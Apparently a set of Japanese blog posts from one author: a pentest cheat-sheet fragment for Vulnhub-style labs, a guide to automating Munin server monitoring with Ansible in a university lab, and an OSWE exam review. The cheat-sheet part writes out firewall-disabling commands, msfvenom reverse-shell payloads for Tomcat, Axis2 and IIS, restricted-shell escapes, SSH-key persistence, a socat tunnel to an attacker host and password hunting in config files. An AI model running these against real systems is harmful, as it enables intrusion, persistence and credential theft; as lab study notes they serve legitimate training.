netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
Firewallの設定を無効にする。

他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz

tomcat manager reverse shell

  • manual
    tomcat managerにログインできたときに以下のjspファイルを作成し、
    github.com
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *

でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com

axis2 reverse shell

  • sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
    axis2にログインできている場合、上記でペイロードを作成。
    sudo jar -xvf shell.jarで一度展開し、
    META-INF/generate_payload.pyに書かれているservices.xmlを追加。
    metasploit/src/lib/axis2/PayloadServlet.classを追加.
    そして、
    sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
    で再度jarファイルを作成し、アップロード。

Microsoft IIS reverse shell

  • msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
    netcatでリッスンする場合はStagelessを採用。
  • curl -T shell-venom-less.txt http://10.11.1.1/upload/
    aspファイルを直接Uploadできない場合は、TXTファイルをMOVEASPファイルに書き換える。
  • curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
    これで、URLにアクセスするとシェルが得られる。
  • bypass protected page
    IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: fヘッダーを追加したり、%c0%afをURLの文字列に加えることで保護されているページにアクセスできるようになる。
    blog.skullsecurity.org

  • use exploit/windows/iis/iis_webdav_upload_asp
    Metasploitでも同じことが可能。

  • /usr/share/webshells/asp/cmdasp.asp
    KaliにASPのWebshellが存在するが、なんか実行できなかった。

Shell Upgrade

  • python -c 'import pty; pty.spawn("/bin/sh")'
    現在の擬似シェルから抜け出し、ptyシェルにアップグレード
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'
    tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
    echo $SHELLで現在使っているシェルを確認
    https://netsec.ws/?p=337に詳しくのっている。
    参考:完全なTTYシェルの取得

orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com

Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog

Bypass restricted shell

  • vi上で:!/bin/sh,:set shell=/bin/sh,:shell
  • scp -F /etc/passwd x y:
    その他、less,moreコマンドなど
    rbash上ではls,cd,/を含むコマンド,export PATH=/usr/bin:$PATHなどができない。ビルトインコマンド(execなど)を試す
    export -p
    pwd
  • シェルに接続する時に-t "bash --noprofile"を付与すると、制限付きシェルを回避できるかもしれない。
    SSHを介してコマンドが実行できるということ
  • OS(Kernel)特有のバグで回避できるかもしれない
  • help
    helpコマンドはビルトインなので実行できる

  • SSH shellでログイン
    Kali@ssh-keygen -P "" -f vulnerable
    Target@ mkdir ~www-data/.ssh
    Target@chmod 700 ~www-data/.shh
    Target@cd ~www-data/.ssh
    Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
    Target@chmod 600 authorized_keys
    これで準備OK
    Kali@ssh 192.168.56.26 -l www-data -i vulnerable
    参考(詳細)
    https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org

www.hackingarticles.in

fireshellsecurity.team

Socatを用いたTCPリダイレクト

  • Kali@ssh-keygen -P "" -f vulnerable
    SSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするため
  • Target@ mkdir ~www-data/.ssh
  • Target@chmod 700 ~www-data/.shh
  • Target@cd ~www-data/.ssh
  • Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
  • Target@chmod 600 authorized_keys
    これで準備OK。
  • Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
  • Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
    そして、最後にKaliで新たなTerminalを作成して、そこで
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable
    とすれば以下のように使いやすいシェルが降ってくる。
    f:id:kakyouim:20200103201628p:plain
    さらに、代わりに
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
    とすることで、このシェルがつながった後、シェル上で
  • Target@mysql -h localhost -u root -P 13306
    とすることで以下のような良いMysqlシェルが立ち上がる。
    f:id:kakyouim:20200103201814p:plain

クレデンシャル情報の探索

  • find . -type f -name "*.php" | xargs grep "username" | grep "password"
  • grep -r "config" . | grep "password"
  • locate settings.php
    などで探す。/var/www/以下にあるファイルに対して行う。settings,configなどの名前のことが多い。


2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com

最後

なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!

研究室ネットワークに対するMuninでの監視をAnsibleで自動化する

大学の研究室が管理しているネットワークに10数台くらい計算機サーバーがあるんですが、一部の計算機サーバーしか監視できていない状態のため、全ての計算機サーバーを監視できるようにしたい。 その過程を書いた記事です。

背景

現状としては、以下のような問題があります。

  • 研究室ネットワークにある計算機サーバーを使用する際にどれくらいCPUを使用しているのかどれくらいのメモリを使用しているかなどが一元的にわからず、それぞれのサーバーにSSHログインしてコマンドで確認するしかない。

  • 他の学生が計算機サーバーの大部分のリソースを使用している場合は、残りの計算機サーバーを使用する必要があるが、学生は毎回topコマンドなどで既に使用している人がいないか確認する必要がある。

  • 計算機サーバーで動かしているプログラムがメモリを使用しすぎている場合などに、それを通知する仕組みがない

  • 計算機サーバーや管理サーバーなどの死活監視がないため、停止しているサーバーがあった時に、それがいつからなのかの原因特定ができない。

  • 一部の計算機サーバーに対してはMuninによる監視を先輩が導入してくれているが、Muninを動かす監視サーバーが計算機サーバーなので、別の管理用サーバーに移行したい

  • Muninによる設定は全て手動で行う必要があるため、コピペミスなどのヒューマンエラーが起こり得る

ちなみに、Muninというのはエージェント型の監視ツールのことで、監視をする側のサーバーがmunin-master、監視される側のサーバーがmunin-nodeになります。pingによる死活監視は監視対象にエージェントを入れる必要はありません。

目標

これらの問題を解決するため、以下のような目標を立てました

  • 全ての計算機サーバーをMuninで監視する

  • 監視項目の値が異常値の場合に、研究室のSlackに通知を送る

  • 死活監視も行う

  • Muninの監視に関する設定をAnsibleで自動化する

Muninの設定

概要

まずは管理用サーバーにMuninを手動でインストールします。 研究室では、CentOS 6.9(Final)サーバーがNFSNISによる共有アカウント・ストレージの管理をしているため、このサーバーをMuninとAnsibleのmasterとしました。(移行、masterサーバー(10.0.0.0)と呼びます)

Muninのインストール

masterのリポジトリのURLが古いものになったままだったので、正しく設定する。

[root@master ~]# sed -i -e "s|mirror\.centos\.org/centos/\$releasever|vault\.centos\.org/6.9|g" /etc/yum.repos.d/CentOS-Base.repo
[root@master ~]# sed -i -e "s|#baseurl=|baseurl=|g" /etc/yum.repos.d/CentOS-Base.repo
[root@master ~]# sed -i -e "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-Base.repo

既にあるキャッシュを削除しておく。これでyumコマンドが正常に動くようになった。

[root@master ~]# yum clean all

httpdをインストールする(今回は初めから入っていたので省略)
httpdを起動する。

[root@master ~]# service httpd start
httpd を起動中:                               [  OK  ]
[root@master ~]#

munin-server, munin-nodeをインストールする

[root@master ~]# yum --enablerepo=epel -y install munin munin-node

ちなみにですが、epelはEPEL6です。EPEL5の場合は多分パッケージの依存関係の問題が発生すると思います。(あんまりわかってない)

[root@master ~]# yum repolist all | grep -i epel
 * epel: ftp.iij.ad.jp
epel                   Extra Packages for Enterprise Linux 6 - x86_ 有効: 12,581
epel-debuginfo         Extra Packages for Enterprise Linux 6 - x86_ 無効
epel-source            Extra Packages for Enterprise Linux 6 - x86_ 無効
epel-testing           Extra Packages for Enterprise Linux 6 - Test 無効
epel-testing-debuginfo Extra Packages for Enterprise Linux 6 - Test 無効
epel-testing-source    Extra Packages for Enterprise Linux 6 - Test 無効
[root@master ~]#

Munin-serverの設定

後々Ansibleでファイルに書き込むことを考慮して、監視対象に関する設定は/etc/munin/munin.confじゃなくて/etc/munin/conf.d/hosts.confに記述することにする。

[root@master ~]# vi /etc/munin/conf.d/hosts.conf
# 以下を記述
[munin-master]
      address 127.0.0.1
      use_node_name yes
[root@master ~]# vi /etc/munin/conf.d/local.conf
# 以下をコメントアウト
[localhost]
      address 127.0.0.1
      use_node_name yes
[root@master ~]# service httpd restart
httpd を停止中:                                            [  OK  ]
httpd を起動中:                                            [  OK  ]
[root@master ~]#

munin-nodeを起動して、永続化させる

[root@master ~]# service munin-node start
Starting munin-node:                                       [  OK  ]
[root@master ~]# chkconfig munin-node on

これでしばらくすると、hxxp://10.0.0.0/munin/にアクセスすると、munin-masterの項目が見えた!Muninはデフォルトだとcronによって5分ごとに実行されるため、5分待ってからアクセスする必要がある。

Muninのレイアウトを変える

デフォルトだとちょっと見にくいため、以下のようにして変更した

[root@master ~]# git clone https://github.com/munin-monitoring/contrib.git
[root@master ~]# cd /etc/munin/
[root@master munin]# cp -rb /root/contrib/templates/munstrap/templates .
[root@master munin]# cp -rb /root/contrib/templates/munstrap/static .

監視対象へのmunin-nodeの設定

Ansibleで自動化する前に、手動だとどういう手順になるのかを確認した。
今回は、監視対象はUbuntuサーバーとした(以降、ubuntu1で、IPアドレスは10.0.0.1とする)

munin-nodeをインストール

root@ubuntu1:~$ apt-get install munin-node

munin-masterのIPからの接続を許可

root@ubuntu1:~$ vim /etc/munin/munin-node.conf
# 以下を追記 
allow ^10.0.0.1$

munin-nodeを再起動

root@ubuntu1:~$ systemctl restart munin-node

自動起動の設定

root@ubuntu1:~$ systemctl enable munin-node

munin-masterで監視対象を追加

[root@master ~]# vi /etc/munin/conf.d/hosts.conf
# 以下を追記
[calc-server;ubuntu1]
      address 10.0.0.1

これで、基本項目の監視はできるが、pingによる死活監視がしたいのでさらにプラグインを追加する。
ホスト名をping-ubuntu1に変更

[root@master munin]# ln -s /usr/share/munin/plugins/ping_ /etc/munin/plugins/ping_10.0.0.1
[root@master munin]# vim  /etc/munin/plugin-conf.d/munin-node
[ping_10.0.0.1]
    host_name ping-ubuntu1
    env.packetloss_critical 50

実行できることを確認

[root@master munin]# munin-run ping_10.0.0.1
packetloss.value 0
ping.value 0.000107
[root@master munin]#

munin-nodeを再起動する必要がある!!!これ忘れててハマった。

[root@master munin]# service munin-node restart
Stopping munin-node:                                       [  OK  ]
Starting munin-node:                                       [  OK  ]
[root@master munin]#

group名healthcheckの下に、ping-ubuntu1を作成する

[root@master munin]# vim /etc/munin/conf.d/hosts.conf
[healthcheck;ping-ubuntu1]
      address 127.0.0.1
      use_node_name no

これで、ubuntu1に対するpingによる死活監視もできた!

Ansibleで自動化

Ansibleをインストールしたmasterサーバーから、操作対象サーバーにAnsibleで操作する、というイメージ。
AnsibleをインストールするのもMuninと同じくmasterとし、ubuntu1と同様のUbuntuサーバーubuntu2(10.0.0.2)をAnsibleで操作したいとする。

sshの設定

Ansibleで操作対象サーバーに変更を加えるには、masterからSSH公開鍵認証できる必要がある。ので、その設定をする。

まずはubuntu2にSSH公開鍵認証できるように、PubkeyAuthentication yesのコメントアウトを外す

root@ubuntu2:~$ vim /etc/ssh/sshd_config
# PubkeyAuthentication yesのコメントアウトを外す
root@ubuntu2:~$

次にAnsibleのホスト上で作成した公開鍵を対象ホストにコピーする。

root@ubuntu2:~# mkdir .ssh
root@ubuntu2:~# cd .ssh/
root@ubuntu2:~/.ssh# vim authorized_keys
# Ansibleのホスト上で作成した公開鍵(id_rsa.pub)をそのままコピペする

これでAnsibleのホストから公開鍵認証でSSHできる。

[root@master ~]# ssh root@10.0.0.2

Ansibleのフォルダ構成

[root@master ansible]# tree
.
├── ansible.cfg                            
├── group_vars                           # インベントリファイルのグループ毎の変数を記述するディレクトリ
│   └── master                             # masterグループ
│       └── alert_conf.yml             # Muninのアラートの閾値などが記述されるファイル
├── playbooks
│   ├── munin-setting.yml           # インベントリファイルで定義されたグループをMuninの監視対象にするためのPlaybook
│   └── roles
│       └── munin                          # Muninに関する設定を記述するディレクトリ
│           └── tasks
│               ├── main.yml               #  roleが呼び出されたときに最初に実行されるファイル
│               ├── master-config.yml      # munin-masterに対する操作をするファイル
│               └── node-default-config.yml   # munin-node(監視対象)に対する操作をするファイル
└── production                         # インベントリファイル

./ansible.cfgファイル

[defaults]
retry_files_enabled = False

./productionファイル

[master]
10.0.0.0 ansible_connection=local

[ubuntu_calcservers_python3]
10.0.0.1 name=ubuntu1 cpucore=32 memory=125
10.0.0.2 name=ubuntu2 cpucore=32 memory=125

[ubuntu_calcservers_python3:vars]
ansible_python_interpreter=/usr/bin/python3

[calcservers:children]
ubuntu_calcservers_python3

./group_vars/master/alert_conf.ymlファイル

---
# Muninで出すアラートの閾値の比率
cpu_warning_ratio: 1.0

memory_warning_ratio: 0.8

memory_critical_ratio: 1.0

./playbooks/munin-setting.ymlファイル

---
# ubuntuで/usr/bin/python3を使うグループのmunin-nodeに対する設定
- hosts: ubuntu_calcservers_python3
  roles:
    - munin

# munin-masterの設定を追記
- hosts: master
  tasks:
    - include_tasks: roles/munin/tasks/master-config.yml
      loop: "{{ groups['calcservers'] }}"
      loop_control:
        loop_var: server

./playbooks/roles/munin/tasks/main.ymlファイル

---
- name: node default config
  include_tasks: node-default-config.yml

./playbooks/roles/munin/tasks/master-config.ymlファイル

---
- name: ホスト{{server}}を監視する設定を追記
  blockinfile:
    path: /etc/munin/conf.d/hosts.conf
    insertafter: "^.*$"
    marker: "# {mark} ANSIBLE MANAGED BLOCK {{ hostvars[server].name }}"
    block: |
      [calc-server;{{hostvars[server].name}}]
          address {{server}}
          cpu.user.warning :{{ (hostvars[server].cpucore * 100 * cpu_warning_ratio) | int }}
          memory.apps.warning :{{ (hostvars[server].memory * 1073741824 * memory_warning_ratio) | int }}
          memory.apps.critical :{{ (hostvars[server].memory * 1073741824 * memory_critical_ratio) | int }}

      [healthcheck;ping-{{ hostvars[server].name }}]
          address 127.0.0.1
          use_node_name no

- name: ping pluginのシンボリックリンクを作成
  file:
    src: /usr/share/munin/plugins/ping_
    dest: /etc/munin/plugins/ping_{{server}}
    state: link

- name: ping pluginの設定を追記
  blockinfile:
    path: /etc/munin/plugin-conf.d/00-default
    insertafter: "^.*$"
    marker: "# {mark} ANSIBLE MANAGED BLOCK {{ hostvars[server].name }}"
    block: |
      [ping_{{server}}]
          host_name ping-{{ hostvars[server].name }}
          env.packetloss_critical 50

- name: munin-nodeを再起動
  service:
    name: munin-node
    state: restarted

./playbooks/roles/munin/tasks/node-default-config.ymlファイル.
対象ホストにmunin-nodeをインストールするところまでAnsibleで自動化したかったが、研究室のサーバーはメンテナンスが不十分でそもそもapt-getやyumが正常に動作しないことがあったので、そこは手動でやる必要がある。。。

---
# エラーが発生する場合があるのでここは手動でやる...
#- name: apt-get install munin-node
#  apt:
#    name: munin-node
#  force_apt_get: true

- name: munin-masterのIPからの接続を許可
  blockinfile:
    path: /etc/munin/munin-node.conf
    insertafter: "^allow .*$"
    block: |
      allow ^10.0.0.0$

- name: munin-nodeを再起動
  service:
    name: munin-node
    state: restarted

- name: munin-nodeの自動起動を有効化
  service:
    name: munin-node
    enabled: yes

Ansibleを使ったMuninの導入例

Ubuntuサーバーubuntu2へのMuninの導入をAnsibleで実行する例を示す。
まず、apt-get install munin-nodeでubuntu2へ手動でmunin-nodeをインストールする。これは手動でやる

先述した手順で、AnsibleのmasterからSSH公開鍵認証ログインできるとする。
また、ubuntu2上では、/usr/bin/python3pythonが実行できるとする。

次に、master上でインベントリファイルに監視対象を設定。
Ubuntuサーバーで、python3コマンドが使用できるので[ubuntu_calcservers_python3]の下に以下を追記。
CPUは32コア、使用可能メモリは125G(free -hコマンドで確認)

[root@master ansible]# pwd
/root/ansible
[root@master ansible]# vim production
10.0.0.2 name=ubuntu2 cpucore=32 memory=125

これで、Ansibleのプレイブックを実行する!failedがなければOK!

[root@master ansible]# ansible-playbook playbooks/munin-setting.yml -i production
中略
PLAY RECAP *********************************************************************
10.0.0.0             : ok=46   changed=9    unreachable=0    failed=0
10.0.0.1            : ok=5    changed=2    unreachable=0    failed=0
10.0.0.2             : ok=5    changed=1    unreachable=0    failed=0

これで、hxxp://10.0.0.0/munin/ を確認すると5分後にubuntu2の項目が増えていることがわかる!これでOK

Slackに通知

偉大な方が通知のためのシェルスクリプトを書いてくれているのでそれを活用!

gist.github.com

後述する内容のファイルを作成

[root@master munin]# vi /usr/local/bin/notify_slack_munin

ファイルの内容は以下.
SLACK_CHANNEL,SLACK_WEBHOOK_URL,SLACK_USERNAME,SLACK_ICON_EMOJIに適切な値を入れればOK.
実行権限を付与

[root@master munin]# chmod 775 /usr/local/bin/notify_slack_munin

/etc/munin/munin.confに以下を追記

contact.slack.command MUNIN_SERVICESTATE="${var:worst}" MUNIN_HOST="${var:host}" MUNIN_SERVICE="${var:graph_title}" MUNIN_GROUP=${var:group} /usr/local/bin/notify_slack_munin
contact.slack.always_send  warning critical
contact.slack.text ${if:cfields \u000A* CRITICALs:${loop<,>:cfields  ${var:label} is ${var:value} (outside range [${var:crange}])${if:extinfo : ${var:extinfo}}}.}${if:wfields \u000A* WARNINGs:${loop<,>:wfields  ${var:label} is ${var:value} (outside range [${var:wrange}])${if:extinfo : ${var:extinfo}}}.}${if:ufields \u000A* UNKNOWNs:${loop<,>:ufields  ${var:label} is ${var:value}${if:extinfo : ${var:extinfo}}}.}${if:fofields \u000A* OKs:${loop<,>:fofields  ${var:label} is ${var:value}${if:extinfo : ${var:extinfo}}}.}

ここまでやったが、Slackに通知が行かない….

よく見ると、メールが /var/spool/mail/root にありますというメッセージが来ていた。

中身を見るとエラーを起こしているっぽい

/usr/local/bin/notify_slack_munin: line 55: 1: Bad file descriptor

/usr/local/bin/notify_slack_muninの最後の行でエラーが起きているので以下のように修正したら治った。なんかわからんがヨシ!

curl -sX POST --data "payload=${PAYLOAD}" $SLACK_WEBHOOK_URL

最後に

AnsibleでMuninによる監視設定を自動化することで、複数のサーバーの設定を短時間ですることができました!
自分で書いたPlaybookで10個以上のサーバーへの設定を一瞬でできた時は感動しました。

懸念点としては、
- Ansibleが後輩に引き継がれるか微妙.
- Playbookのコードの改良.
- 古いCentOS 6.9でAnsibleを動かしているので、動作や今後が不安.
などがあります。
初めはAnsibleが難しかったですが、使ってみると便利だったので今後も機会があれば使いたいと思います!あと、古いバージョンのCentOSでの作業がとても苦痛でした。

OSWE Review(受験記)

3/28に受けたOSWEに合格したので受験記書きます!
若干冗長に書いてますがそこは許してください。

OSWE

OSWEはOffensive Security Web Expertの略で、AWAEというコースを受講して試験に合格するとOSWEの認定がもらえます。名前の通り内容はWeb ApplicationのWhiteboxベースでのPenetration Testです。
Web Applicationのソースコードや動作環境が与えられた状態でソースコードを分析して脆弱性を見つけて、Authentication bypass(認証バイパス)とRCE(任意コマンド実行)を達成するのが目的です。
OSCPはBlackboxですがOSWEはWhiteboxで全て背景で動いているものがわかっている状態です。

自身のスキル

OSCPを2020 5月にとってますが、WhiteboxのPenetration Testとかやったことないし何もわからん状態からスタートしました。
Webに関しては正直ド素人で最初は「なんもわかんね~」ってなってました。
(OSCPっていろいろな知識や考え方が必要な分、Webに関してはあんまり詳しくなくても良かった…)

AWAEコース

Offensive Securityの資格では、コース名と認定名は別で、OSWE認定のコース名はAWAEです。OSCP認定の場合はコース名はPWKです。
AWAEコースのコンテンツは、400ページくらいの英語のPDFとそれに対応するビデオと動作環境(9台のマシン)、3台の演習用のラボマシンです。ラボマシンの2台はWhiteboxで1台はBlackboxです。OSCP同様解説はありません。
基本的にはPDFに沿って動作環境で脆弱性の発見手順、Exploit手順を確認しながら進めていくことになります。PDFは10章から構成されていて、
1章はBurpとかの事前準備、
2章はAtmailというPHPアプリのXSS/RCE、
3章はAtutorというPHPアプリのSQL Injection/RCE、
4章は同じくAtutorのTypeJuggling、
5章はManageEngineというJavaServletベースのアプリのPostgreSQLSQL Injection、
6章はBassmasterというNode.jsのパッケージのeval Injection、
7章はASP.NETDotnetnukeというアプリのDeserialization、
8章はErpnextというPythonアプリのSQL Injection/SSTI、
9章はopenCRXというJavaアプリのWeak Random/XXE/RCE、
10章はopenITCOCKPITというアプリのBlackboxアプローチによるDom Based XSS/Command Injectionです。
詳しくは公開されている以下のシラバスを参照してください。
https://www.offensive-security.com/documentation/awae-syllabus.pdf

PDFには軽い演習のExcerciseとは別にExtra Milesという若干難しめの演習があります。大体はそんなに難しくはないですが、2つめちゃくちゃ悩んだExtra Milesがありました。

必要な知識

以下怪しい表現が散見されると思いますが大目に見てください…。
- プログラミングに関して
PHP Java JavaScript C# Pythonの基本文法、オブジェクト指向をなんとなく知ってる、MySQL PostgreSQLの基本文法、MVCの何となくの理解、JavaServlet ASP.NET Node.js のフレームワーク(?)の何となくの理解、くらい(?)
言語によって記述の仕方が若干違うので、ふんわりわかってればいいのかな?基本的にやる操作(リクエストパラメータから値をとって、サニタイジングしてSQL文に結合して検索して結果を返してtemplateにrenderするとか)は大体同じ気がします。ここら辺はコースをやってるうちに慣れてきます。
JavaScriptについてはNode.jsとブラウザとで両方わかってるといいと思います。
まあCTFとかのwriteup読んでいればいろんな言語が出てくると思うのでそれ読めるなら十分な気がします。
自分はJavaC#を今まで触ったことがなかったので大学のプログラミング演習をC#で書いたりいろいろググったりして練習しました。

いろんな言語のオンライン実行環境。system系のコマンドも使えて便利!
https://paiza.io/ja/projects/new
いろんなPHPのバージョンで実行できるので便利。
https://sandbox.onlinephpfunctions.com/

オブジェクト指向とかは自分は正直あんまりわかってないけど、「このメソッドの定義元を探すとインターフェースが見つかって、そのインターフェースを実装してるクラスのメソッドを見る」「ここでインスタンス生成して(インスタンス名).(メソッド名)で実行してるから、インスタンスを作成したクラスを見てメソッドの定義を確認する」くらいの意味がわかればいいのかな?ってくらいです。
コース資料ではMySQLPostgreSQLが出てきます。基本的なSQL構文は同じですが、若干の違いがあってSQL Injectionするときに知ってると便利なのでふんわりわかってるといいと思います
以下でMySQL,SQLite,PostgreSQL,MSSQLのオンライン環境があるのでInjectionを組み立てるときに確認とかに使ってました。
https://sqliteonline.com/

あとは正規表現の簡単なやつは見れば何やってるかわかるくらいでいいと思います。見てもよくわからんやつは 以下のサイトで動作を確認して理解できる程度でいいと思います。
https://regex101.com/

MVCは自分は雰囲気くらいしかわかってないですがそれで問題なかったです。もし全然一ミリも知らない場合はRailsチュートリアルとかで理解するといいと思います。(コースにRubyは出てきませんが)

フレームワークについてはいろいろ触ることにはなるので知らないものを触ることにはなりますが、知識はあるに越したことはないと思います。JavaServletだと設定は大体web.xmlに書かれていて読めばどのルーティングでどのサーブレットを使用するか、どこに認証が必要か、とかが書かれているけど知っていれば時短になるしPDFの理解も深まると思います。
まあでも自分はコースをやりながらここら辺の知識を回収したので事前に知ってる必要はないかもです。
ただAWAEコースでは基本的に言語やフレームワークについての解説はないです。
あとは基本的にPythonでExploitを書くことになるのでrequestとかの使い方をわかってるといいと思います。
- 脆弱性について
XSS(Reflective/DomBased)、Deserialization(.net/Java/python)、SQL Injection(union query,blind,stack query)、XXE 、FileUpload、TypeJuggling、SSTI、Command Injection、Weak Random(Java)、Sandbox Escape(JavaScript) などは事前に理解したうえでやるといいと思います。
XSSはCTFではCSPバイパスとかが主ですが、OSWEではXSSした後にそれを使ってAuthentication bypassするJavaScriptをXHRとかで作成するのが主な気がします。
SQL Injectionはblindで動作する自分用の動作するスクリプトは持ってるといいと思います。
SSTI(Server Side Template Injection)はどのPayloadが動作するかとかを事前にある程度知ってるといいと思います。
基本的にこれらの基本的な脆弱性の発生する箇所、条件、Exploit手順、できることなどは事前に知っておくといいと思います。CTFのwriteup読んでわかれば十分だと思います。

コースの感想

自分の時は60日コースと90日コースがあって、春休み中に取りたかったので60日コースにしました。いろんなレビューを読んでる限り結構60日コースを選択してる方が多い印象です。
自分は結局開始してから42日で試験受けたので60日くらいがいい塩梅な気がします。
ただ自分はOSWEを春休みに取ると決意したのが9月くらいからでそこからCTFのwriteup読んだり常設やったりといろいろ準備してたので、実は準備期間はかなり長いです。VMwareにKali-Linux-2020.4入れてやってました。OSCPではVMが配布されましたがOSWEではされなかったです。

コースでは主に脆弱性の発見プロセスとかを勉強するのですが、それが超よかったです。CTFとは違って対象はかなり大きめのアプリケーションなので、リアルワードでの脆弱性発見にかなり近いと思います。
個人的には、仕事で触ってるとかじゃない初心者に対してもとても良い教材だと思います。CVEを取ってみたいけどどうやって発見するのか全然想像がつかないって人にかなりお勧めです!実際、コースの勉強のためにソースコード分析したPHPアプリケーションで脆弱性を見つけて報告することができました!
こういうのって慣れがすべてな気がしていて、慣れるための教材としてAWAEはかなり良いと思います!

あと、今回は学生フォーラム以外にもRocketChatっていうチャットアプリで質問しました。OSCPとは違ってフォーラムに投稿があんまりないので、labマシンが全然わからなくて詰んだときにRocketChatの#awae-osweというルームで「OOがわかりません、DMしてもいいですか?」みたいな投稿をするとOffsecの社員が巡回しているので質問に答えてくれます。自分の時はめちゃくちゃ丁寧に対応してもらいました。もし詰んだときはこういうコミュニティで質問するのもありです。(もうすぐDiscordに移行するとか云々の話が出てるので今後はDiscordかもしれません)

自分はSQL Blind InjectionとかSSTIとかの発見した後のExploit手順の方はある程度CTFのwriteup読んで事前にわかってたんですが、コード読んだりの発見手順の方が全然慣れてなくて、「え、そんなことあんの!?」とか「あー、そうやって探すのか」みたいな連続でとても新鮮でした。
ただ自分はコードレビュー・開発の経験がゼロだったので慣れるまではしんどかったです。(今も慣れてるかといえば微妙)。個人的には、開発とかの経験はある必要はないですが、あればあるほどいいと思いました。

あと、コースでカバーされてる箇所以外にも実は脆弱性があって、ATutor、ManageEngineで見つけました。なので別の章でカバーしている脆弱性発見プロセスを違う章で試してみると勉強になると思います。

自分のスケジュール

日程 内容
2021 2/14 コース開始
2021 3/7 1周してExcerciseと簡単なExtra Miles完了
2021 3/18 残りのExtra Milesと2周目完了
2021 3/24 3台のlabマシン完了
2021 3/28 試験開始
2021 4/1 合格メール

勉強方法

自分も他の方同様チートシートを作りながらPDFを進めてました。
チートシートには、grepするキーワードとか検証コードとかと、試験のために情報をいい感じに整理するように書きました。OSCPの時同様CherryTreeを使いました。
あとはホストのVScodeVMwareのKaliにSSHで接続してPythonスクリプトを作成してました。
試験ではスクリプトを作成する必要があるので、コピペして再利用できるようにPythonスクリプトはコースの勉強中は整理して段階ごとに作成するといいと思います。

試験

試験は47時間45分で、そのあとに24時間以内に試験レポート提出します。
OSCPではラボレポートが5点分加点されましたが、OSWEではそれはなくて試験だけです。
合格基準は100点中85点以上で、2台のマシンのAuthentication bypass(35)、RCE(15)なのでRCEは一個なら見つけられなくても耐えです。
試験では合計5台のマシンがあって、2つはlocal.txtとproof.txtを入手する攻撃対象マシンで、その完全なコピーのデバッガマシンに対してWhiteboxで脆弱性を探します。デバッガマシンではデバッグできるようになってます。local.txt、proof.txtの場所は試験開始直後にメールで送られてくる試験コントロールパネルのリンクに記載されてます。あと一つは予備のKali VMでここからExploitを実行すると通信速度が速いです。

試験の予定

相変わらず心配性なので以下のような予定をたてて自分を安心させてました。試験時間48時間を8時間くらいの5分割してその中でAuthentication bypassとかRCEを一つ見つければOKっていう風にすれば残り時間で焦ることなく落ち着いてできるかなって思いました。(実際は全然この通りやりませんでしたワロタ)

試験当日メモ(予定)
脆弱性を特定できた時点でレポート書くためのメモ忘れない!!
VMをもう一度リバートしてExploitスクリプトが動くか確認

3/28 11:30 試験前 トイレとか済ませてVMを起動しておく
3/28 11:45 試験監督ツールのセット
3/28 12:00 一つ目のマシン開始。Debug、ログの設定してルーティングとか理解。怪しいExploit列挙して、AuthBypassの探索開始
3/28 13:30  1つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。
3/28 15:30 2つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。
3/28 17:30 3つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。
3/28 19:30 4つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。
3/28 21:30 ここからごはん。ここまでで最初のマシンのAuthBypassを特定できればGood!
3/28 22:00 もしAuthBypassがなければ2つ目のマシンにチェンジする!RCEの怪しい実装 (Debug、ログの設定してルーティング)とか理解。怪しい個所列挙して、RCE(AuthBypass)の探索開始
3/28 23:30 1つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/29 01:30 2つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/29 03:30 3つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。
3/29 05:30 ここまででRCEがあればVeryGood!!その場合は二つ目ちょっと見てから寝る。一つのAuthBypassがあればGood!寝る!
一つもなくてもまだ耐えてる(両方のマシン見てるから気づけばすぐのはず)。その場合は同じ操作を再度繰り返す!新たに気づくことがあるはず!
3/29 10:00 起きる。二つ目(再度一つ目)のマシン開始。列挙
3/29 11:30 1つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。
3/29 13:30 昼ご飯。
3/29 14:00 2つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。
